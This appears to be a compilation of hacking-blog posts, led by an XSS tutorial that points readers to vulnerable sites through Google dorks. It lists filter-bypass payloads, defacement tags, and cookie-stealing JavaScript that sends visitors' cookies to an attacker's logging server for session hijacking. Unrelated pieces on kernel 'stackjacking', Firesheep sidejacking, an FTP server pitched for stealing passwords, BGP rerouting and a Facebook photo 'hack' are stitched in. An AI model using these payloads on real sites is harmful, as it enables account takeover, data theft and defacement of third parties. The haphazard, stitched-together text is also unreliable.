Complete tutorial on Cross Site Scripting / XSS Hacking !

What is XSS ?
'XSS' also known as 'CSS' - Cross Site Scripting. It is a very common vulnerbility found in Web Applications, 'XSS' allows the attacker to INSERT malicous code, There are many types of XSS attacks, I will mention 3 of the most used. This kind of vulnerability allows an "attacker" to inject some code into the applications affected in order to bypass access to the website or to apply  "phishing" on falls users.

Types of XSS 
There are actually three types of Cross-Site Scripting, commonly named as:
- DOM-Based XSS
- Non-persistent XSS
- Persistent XSS

DOM-Based : The DOM-Based Cross-Site Scripting allow to an attacker to work not on a victim website but on a victim local machine: the various operative system usually includes "since born" some HTML pages created for differents aims, but as long as the humans do mistakes this HTML pages often can be exploited due to code vulnerabilities.

The DOM-Based XSS exploits these problems on users local machines in this way:
- The attacker creates a well builded malicious website
- The ingenuous user opens that site
- The user has a vulnerable page on his machine
- The attacker's website sends commands to the vulnerable HTML page
- The vulnerable local page execute that commands with the user's privileges
  on that machine.
- The attacker easily gain control on the victim computer.

Non-Persistent : The non-persistent XSS are actually the most commons vulnerabilities that can be found on the Net. It's commonly named as "non-persistent" because it works on an immediate HTTP response from the victim website: it show up when the webpage get the data provided by the attacker's client to automatically generate a result page for the attackers himself. Standing on this the attacker could provide some malicious code and try to make the server execute it in order to obtain some result.

The most common applying of this kind of vulnerability is in Search engines in website: the attacker writes some arbitrary HTML code in the search textbox and, if the website is vulnerable, the result page will return the result of these HTML entities.

Persistent : The persistent XSS vulnerabilities are similar to the second type (Non-persistent XSS), because both works on a victim site and tries to hack users informations and the difference is that in websites vulnerables to Persistent XSS the attacker doesn't need to provide the crafted url to the users, because the website itself permits to users to insert fixed data into the system: this is the case for example of "guestbooks". Usually the users uses that kind of tool to leave messages to the owned of the website and at a first look it doesn't seems something dangerous, but if an attacker discover that the system is vulnerable can insert some malicious code in his message and let ALL visitors to be victim of that.

This works when the tool provided (the guestbook in the example) doesn't do any check on the content of the inserted message: it just inserts the data provided from the user into the result page.

How to Find XSS Vulnerbilitys ?

Well to start finding these vulnerbilitys you can start checking out Blogs, Forums, Shoutboxes, Comment Boxes, Search Box's, there are too many to mention.

Using 'Google Dorks' to make the finding easyier, Ok if you wanna get cracking, goto google.com and type inurl:"search.php?q=" now that is a common page and has alot of results. Also note that most sites have XSS vulnerbilitys, its just having a good eye, and some good knowledge on how to bypass there filteration.

Basics of XSS
Well now lets start learning some Actual Methods, the most common used XSS injection is :

<script>alert("The Hacker News")</script>

now this will alert a popup message, saying "The Hacker News" without quotes.

So,use "search.php?q=" and you can simple try the following on a website with the same thing,

http://website.com/search.php?q=<script>alert("The Hacker News")</script>

there are good chances of it working, but dont be worried if it dont, just try diffrent sites. You can insert HTML not just javascript :

http://website.com/search.php?q=<br><br><b><u>The Hacker News</u></b>

if you see the bold text on the page and newlines then you knows its vulnerable.

How to Deface a Website using XSS ?
Well now you understand how XSS works, we can explain some simple XSS deface methods, there are many ways for defacing i will mention some of the best and most used, the first one being IMG SCR, now for those of you who dont know html, IMG SCR is a tag, that displays the IMAGE linked to it on the webpage.

<html><body><IMG SRC="http://website.com/yourDefaceIMAGE.png"></body></html>

ok now if you change the link to a valid picture link, and save it and run it you will see what i mean. Right now say you have found a Shoutbox, Comment box, or anything that shows your data after you submitted it you could insert the following to make the picture display on the page.

<IMG SRC="http://site.com/yourDefaceIMAGE.png">

the other tags are not needed has the page will already have them. Ok it helps to make your picture big so it stands out and its clear the site got hacked. Another method is using FLASH videos, its the same has the method below but a more stylish deface.

<EMBED SRC="http://site.com/xss.swf" 

That will execute the flash video linked to it. Or maybe using a pop or redirection as :
<script>window.open( "http://www.thehackernews.com/" )</script>

There are many others ways that you can found using Google or other website. Mine purpose is to make you understand the concept :)

How to Cookie Stealing using XSS ?
I decided to add this has its the most usefull method of XSS. First learn how to make cookie logger from here: How To Make A Cookie Stealer Php script ? 

ok now you have it save it has a .php file and upload to your server, remember to create the file 'log.txt' too
and chmod it to 777, ok now find a XSS vulnerable website, any attack type will do. ok now your gonna want to insert this code.

window.location = "http://yourServer.com/cookielogger.php?c="+document.cookie


or


document.location = "http://yourServer.com/cookielogger.php?c="+document.cookie

now when user visits the page that got injected too, they will be sent to the site, and cookie will be stolen
the second one is more stealth. Watch your file now for cookies, then you can hijack there session :D

but now you ask what if my site has not got, this kind of attack, it only shows data once and dont store it. Well lets say we had a page search.php?q= we can use the following code to make a maliouc url from it and maybe hex, base64 encode it so people cant see the code

http://site.com/search.php?q=document.location = "http://yourServer.com/cookielogger.php?c="+document.cookie

How to Bypass Filtration ?
Alot of sites may seem vulnerable but not executing the code, well to solve this read this. Some common methods to bypass filtration is

')alert('xss');


or


");alert('xss');

that will do the same thing has <script>alert("XSS")</script> on a vulnerable server. You can also try hexing or base64 encoding your data before you submit, Please note its bad practice to use alert("XSS")to test for XSS, because some sites block the keyword "XSS" before so we using "The Hacker News".

Some other ways to bypass filtration
website.com/search.php?q="><script>alert('The Hacker News')</script>
website.com/search.php?q="><script>alert("The Hacker News")</script>
website.com/search.php?q="><script>alert("The Hacker News");</script>
website.com/search.php?q="><script>alert(/The Hacker News");</script>
website.com/search.php?q=//"><script>alert(/The Hacker News/);</script>
website.com/search.php?q=abc<script>alert(/The Hacker News/);</script>
website.com/search.php?q=abc"><script>alert(/The Hacker News/);</script>
website.com/search.php?q=abc"></script><script>alert(/The Hacker News/);</script>
website.com/search.php?q=abc//abc"></script>alert(/The Hacker News/);</script>
website.com/search.php?q=000"><script></script><script>alert(The Hacker News);</script>
website.com/search.php?q=000abc</script><script>alert(/The Hacker News/);</script>
website.com/search.php?q=--<script>"></script>alert(/The Hacker News/);</script>
website.com/search.php?q=pwned<script>document.write('The Hacker News');</script>
website.com/search.php?q=pwned</script><script>document.write(The Hacker News);</script>
website.com/search.php?q=pwned')alert(The Hacker News);//
website.com/search.php?q=pwned";)alert(The Hacker News);//
website.com/search.php?q=pwned");alert(/The Hacker News/);//
website.com/search.php?q=pwned//"></script><script>location.href='javascript:alert(/The Hacker News/);</script>
website.com/search.php?q="><img src='javascript:alert('The Hacker News');'>
website.com/search.php?q="><script src='http://malicous js'</script>

Advanced XSS - way to bypass magic quotes filtration
Ok now we are going to learn about some good techniqes. I have came across many sites where 'Magic Quotes' is on and therfore rendering some commands useless. Fear not, i have come up with a way using char codes (Decimals), to convert char code to Ascii. The functions to turn CharCodes (Decimals) into ASCII, you can find a complete table here http://www.asciitable.com/

This will help you write what you want, In my examples ill be writing "tpz" this is the following code

116 112 122

Ok now we got the Decimal value of our string, we need to know what function in javascript converts this.

String.fromCharCode()

is suitable for this kinda things, its easy to setup, im gona give it my args below.

String.fromCharCode(116, 112, 122)

Ok now "String.fromCharCode(116, 112, 122)" Is a JAVA (ASCII) way of saying "tpz". And to use this with alerts etc, you dont need to use quotes, as it acts as a variable.

<script>alert(String.fromCharCode(116, 112, 122))</script>

Ok now this will display or message in this case "tpz", this method is very usefull for bypassing magic quotes and maybe some custom escaping of quotes. There are many others methods, that i m not going to talk about right now.

Your Way to grsec/PaX Bypass-stackjacking

Technique to exploit grsecurity/PaX-hardened Linux kernels.  Read on for a brief overview of our presentation and a link to the full slides and PoC code.
By (Dan Rosenberg and jon oberheide)

The Stackjacking Technique

In our slides, we presented a technique to exploit a grsecurity/PaX-hardened Linux kernel (eg. GRKERNSEC_HIGH) given the existence of two exploitation primitives:

• an arbitrary kernel write; and
• a kernel stack memory disclosure

To be clear, this attack vector is completely unnecessary when exploiting a vanilla Linux kernel, since an arbitrary write is more than sufficient to get root, given the vast amount of useful targeting information Linux gives out via /proc, etc. Likewise, the kernel stack memory disclosure is also unnecessary on vanilla, since there are much easier ways of getting this information. However, due to GRKERNSEC_HIDESYM (which aims to remove all known sources of info leakage), PAX_KERNEXEC (which makes global data structures with known locations read-only), and other mitigation features of grsecurity/PaX, effective exploitation is orders of magnitude harder than a vanilla kernel and took a few interesting twists.
Our technique can be broken down into three distinct stages:

• Stack self-discovery: We observed that kernel stack memory disclosures can leak sensitive addresses to userspace.  In particular, if we can leak a pointer TO the kernel stack that resides ON the kernel stack, we can calculate the base of our own process’ kernel stack: kstack_base = leaked_addr & ~(THREAD_SIZE-1).  We call this technique stack self-discovery.
• Stack groping: If our end goal is to read the address of our process’ cred structure and use our write to modify it and escalate privileges, we need to turn our kleak+kwrite into an arbitrary read.  We discovered two such techniques to do this: (1) the Rosengrope technique that modifies addr_limit in thread_info metadata stored at the base of the kstack to allow arbitrary reads from kernel space to userspace; and (2) the Obergrope technique that manipulates saved registers within a kernel stack frame that are later popped and used as the source address for copy_to_user()/put_user() operations.
• Stack jacking: After constructing our arbitrary read from a kleak+kwrite, we read the task_struct address out of thread_info at the base of the kstack and then read the cred struct address out of task_struct. Armed with the address of our process’ credential structure and an arbitrary write, we modified our uids/gids/caps to escalate privileges.

For the full details, please see the presentation materials and PoC code:

• Infiltrate 2011 [PDF]
• Hackito Ergo Sum 2011 [PDF]
• PoC Code [GITHUB]

The Response

If you haven’t yet read spender’s response to our presentation, I recommend doing so.  While I’ll refrain from commenting on the political aspects of his post, I’ll happily comment on the technical aspects.  The fixes that spender and pipacs have released have mitigated the particular exploit vectors we used to perform the stack groping stage of our attack against the grsec/PaX kernel:

• The thread_info struct has been moved out from the base of the kernel stack preventing the Rosengrope technique from being able to write KERNEL_DS into the addr_limit member.
• The RANDKSTACK feature, now available on both i386 and amd64, frustrates the Obergrope technique as the randomization of the kernel stack pointer on each system call makes writing into a particular offset in the stack frame unreliable.

Props to spender and pipacs for cranking out those fixes as well as a number of other enhancements.  While the latest grsecurity patch effectively prevents the current vectors we discovered and presented in our talks at HES and Infiltrate, there are several loose ends I need to investigate to ensure the fixes address other potential exploitation vectors.
More on that later…

Hack Facebook/Twitter Or Any Email Account With Session Hijacking

When logging into a website you usually start by submitting your username and password. The server then checks to see if an account matching this information exists and if so, replies back to you with a "cookie" which is used by your browser for all subsequent requests.

It's extremely common for websites to protect your password by encrypting the initial login, but surprisingly uncommon for websites to encrypt everything else. This leaves the cookie (and the user) vulnerable. HTTP session hijacking (sometimes called "sidejacking") is when an attacker gets a hold of a user's cookie, allowing them to do anything the user can do on a particular website. On an open wireless network, cookies are basically shouted through the air, making these attacks extremely easy.

This is a widely known problem that has been talked about to death, yet very popular websites continue to fail at protecting their users. The only effective fix for this problem is full end-to-end encryption, known on the web as HTTPS or SSL. Facebook is constantly rolling out new "privacy" features in an endless attempt to quell the screams of unhappy users, but what's the point when someone can just take over an account entirely? Twitter forced all third party developers to use OAuth then immediately released (and promoted) a new version of their insecure website. When it comes to user privacy, SSL is the elephant in the room.

Firesheep, a Firefox extension designed to demonstrate just how serious this problem is.

After installing the extension you'll see a new sidebar. Connect to any busy open wifi network and click the big "Start Capturing" button. Then wait.

As soon as anyone on the network visits an insecure website known to Firesheep, their name and photo will be displayed:

Double-click on someone, and you're instantly logged in as them.

That's it.

Firesheep is free, open source, and is available now for Mac OS X and Windows. Linux support is on the way.

Websites have a responsibility to protect the people who depend on their services. They've been ignoring this responsibility for too long, and it's time for everyone to demand a more secure web. My hope is that Firesheep will help the users win.

By Codebutler..

............................................................................

Calculations On Command Prompt :-

The command processor CMD.EXE comes with a mini-calculator that can perform simple arithmetic on 32-bit signed integers:

C:\>set /a 2+2
4
C:\>set /a 2*(9/2)
8
C:\>set /a (2*9)/2
9
C:\>set /a "31>>2"
7

Note that we had to quote the shift operator since it would otherwise be misinterpreted as a "redirect stdout and append" operator.

For more information, type set /? at the command prompt.

Create An FTP Server On Your PC..

How to create an FTP Server on your computer using Ser-u,their is a cool trick for changing ur pc into server.Hack yahoo password by making servers & hack any messengers passwords.

Process 1:
First of all u have to get an static IP-Address.
Need a a static ip-address for ur FTP Server.Necessity for getting this static ip-address is ur not suppose to use ur own IP-Address.The main reason is u dont want to show ur IP-Address to everyone , there are many other reasons too but leave them aside..

1.Goto no-ip & create urself a free account.
2.Now ur account been created & ll receive ur account password via mail to ur email address.

3.After getting ur password login to ur account of no-ip.com
4.After getting logged in, click upon add a HOST its on the left menu.

5.Type any hostname u want (eg:-saien) & select any domain from da given list (eg:-ftpserve.com) Click on Submit.

6.Now u have owned ur own static address (example: saien.serveftp.com)

7.Now click downloads button which is present above on the page & click on which operating system ur using & den download DNS update client or u can download it fromhere directly, this is for microsoft window users..

8.After getting downloaded, u have to install this software & login here with ur email addresss & p/w wen asked for it.

9.At last tick on da check box present at the static address.

10.U have ur own static web address.


Process 2:
Installation & setting of the FTP-Server
1.You have to install Serv-U 4.1.03 , download this software from here

2. Run Serv-U & use da wizard to setup ur FTP.

3.Click on next until u have been asked for IP-Address, leave it as it is & click upon next.

4.Enter ur domain name u have registered (example: rkchoolie.serveftp.com) it above in da domain field & click upon next.

5.U ll be asked for anonymous access, select No & click upon next.

6.Next u ll be asked for creating a named account, select yes & click upon next.

7.Choose any user name u wish (eg:-saien) & clcik upon next.

8.Enter password for dis account (eg:-@1254Rwn) for security purpose choose difficult password.
9.U ll be asked for da home directory for the account which u have created above.Select directory & click upon next.

10.Click on yes for locking dis account to da home directory, doing dis da user cannot further move up into home directory, click upon next.

11.At last ur account has been created click finish.


Process 3:
Configuring the user accounts which u have been created.
1.On the left tree-menu, select da account which u have been created above & den click upon General Tab.

2.Goto Hide 'Hidden' Files.

3. Check Allow only and enter the number one in the box.
4.Set da maximum downloading speed upto wat extent u want.As this is an account so many ll be using so set it low(eg:-10-20) to save ur bandwidth.Don't leave it blank as uers can download with full bandwidth.

5.choose how many users u want to login at on time.It depends on ur connection speed try these (56 - 1, ISDN - 3, ADSL or cable - 5-6 users.)

6.Click upon Dir Access Tab.

7.Now u can c home folder here.Highlight it & make ur permission.
8.If u want only users to download check only these Read,List & Inherit.
9.If u want ur users to upload into ur server & bu tto only 1 particular folder but not to downlaod, click upon dat add button & then select dat folder, Now u have to highlight dat folder & set these permissions on dat folder.Check,Write,Appened,List,Create & Inherit after setting these permissions click on the arrow which is present at the bottom right-hand corner.U want dis upload folder 2 be list first, before da home folder.
10.If der is any folder which u dont want anyone to access it, & it is present in the home folder, den click da add button & den select da folder.Now u have to highlight dat folder & see dat no all da checkboxes are left.After doing this click upon upper arrow which is present at bottom right hand corner.

11.There r many things u can do, These are only the basics....

12. Ur server is now ready to be connected..
13. Login with ur username & password...

AT&T Facebook Traffic Takes a Loop Through China & South Korea

Traffic destined for Facebook from AT&T’s servers took a strange loop though China and South Korea on Tuesday, according to a security researcher.

As Barrett Lyon wrote on his blog, typically AT&T customers’ data would have routed over the AT&T network directly to Facebook’s network provider but due to a routing mistake, their private data went first to Chinanet then via Chinanet to SK Broadband in South Korea, then to Facebook. This means that anything you looked at via Facebook without encryption was exposed to anyone operating Chinanet, which has a very suspect Modus operandi.

Route to Facebook from AT&T on 22^nd March 2011 :

route-server>show ip bgp 69.171.224.13 (Facebook’s www IP address)
BGP routing table entry for 69.171.224.0/20, version 32605349
Paths: (18 available, best #6, table Default-IP-Routing-Table)
Not advertised to any peer
7018 4134 9318 32934 32934 32934

The AS path (routing path) translates to this:
1. AT&T (AS7018)
2. Chinanet (Data in China AS4134)
3. SK Broadband (Data in South Korea AS9318)
4. Facebook (Data back to US 32934)

What could have happened with your data? Most likely absolutely nothing. Yet, China is well known for it’s harmful networking practices by limiting network functionality and spying on its users, and when your data is flowing over their network, your data could be treated as any Chinese citizens’. Does that include capturing your session ID information, personal information, emails, photos, chat conversations, mappings to your friends and family, etc.? One could only speculate, however it’s possible.

This happens all the time — the Internet is just not a trusted network.

One way to prevent this from happening to your account: Enable HTTPS.

In January, Facebook rolled out the HTTPS feature to all browsing done on the site, but it’s opt-in an not automatic setting. Previously, Facebook used HTTPS only when you entered in your password.

To enable this security feature, go to – Account Settings >> Account Security
Click “change”. Check mark “Browse Facebook on a secure connection (https) whenever possible”.

Facebook Hack – View photo albums of non-friends

A new facebook exploit allows anyone to access any photo album of non-friends as long as you have the link.

By following the simple steps shown in above image, you can bypass the security of Facebook and view photos of others online.